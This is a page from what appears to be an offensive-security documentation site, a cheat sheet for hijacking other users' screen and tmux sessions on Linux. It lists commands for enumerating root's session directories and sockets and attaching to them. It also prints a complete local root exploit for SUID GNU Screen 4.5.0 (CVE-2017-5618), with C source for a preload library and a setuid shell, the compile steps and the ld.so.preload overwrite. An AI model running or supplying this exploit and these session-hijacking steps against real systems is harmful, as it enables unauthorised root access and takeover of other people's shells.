Skip to main content

Documentation Index

Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt

Use this file to discover all available pages before exploring further.

Overview

Screen and tmux sessions persist after the user detaches. If a privileged user left a session running and permissions allow attaching, you get their shell.

Screen

List Sessions

screen -ls

List All User Sessions

ls -la /var/run/screen/
ls -la /run/screen/
Each directory is named S-<username>. Check for root sessions:
ls -la /var/run/screen/S-root/ 2>/dev/null
ls -la /run/screen/S-root/ 2>/dev/null

Attach to Session

Same user:
screen -dr <session_id>
If multiuser mode enabled and you have ACL:
screen -x root/<session_name>

SUID Screen (CVE-2017-5618)

Check if screen is SUID:
ls -la /usr/bin/screen
find / -perm -4000 -name "screen*" 2>/dev/null
GNU Screen 4.5.0 — local root exploit:
# Check version
screen --version
# GNU Screen version 4.05.00

https://www.exploit-db.com/exploits/41154

Exploit Steps

# Create libhax.c
cat << 'EOF' > /tmp/libhax.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__((constructor))
void dropshell(void) {
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
}
EOF

# Create rootshell.c
cat << 'EOF' > /tmp/rootshell.c
#include <stdio.h>
int main(void) {
    setuid(0); setgid(0); seteuid(0); setegid(0);
    execvp("/bin/sh", NULL);
}
EOF

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c

cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell

tmux

List Sessions

tmux ls

Find tmux Sockets

find /tmp -name "tmux-*" 2>/dev/null
ls -la /tmp/tmux-*/
Socket naming: /tmp/tmux-<UID>/default

Check Root tmux

ls -la /tmp/tmux-0/ 2>/dev/null

Attach to Session

Same user:
tmux attach -t <session_name>

Non-default Socket

tmux -S /path/to/socket attach

Writable Socket

If tmux socket is writable by your user:
ls -la /tmp/tmux-0/default
If writable:
tmux -S /tmp/tmux-0/default attach

Enumerate Both

One-liner to check for hijackable sessions:
echo "=== Screen ===" && screen -ls 2>/dev/null && ls -la /var/run/screen/ /run/screen/ 2>/dev/null && echo "=== tmux ===" && tmux ls 2>/dev/null && find /tmp -name "tmux-*" -exec ls -la {} \; 2>/dev/null

Quick Reference

ScenarioCommand
List screen sessionsscreen -ls
Attach screenscreen -dr <id>
SUID screen 4.5.0CVE-2017-5618 exploit
List tmux sessionstmux ls
Attach tmuxtmux attach -t <name>
Attach via sockettmux -S /path/to/socket attach
Find all sessionsCheck /run/screen/ and /tmp/tmux-*/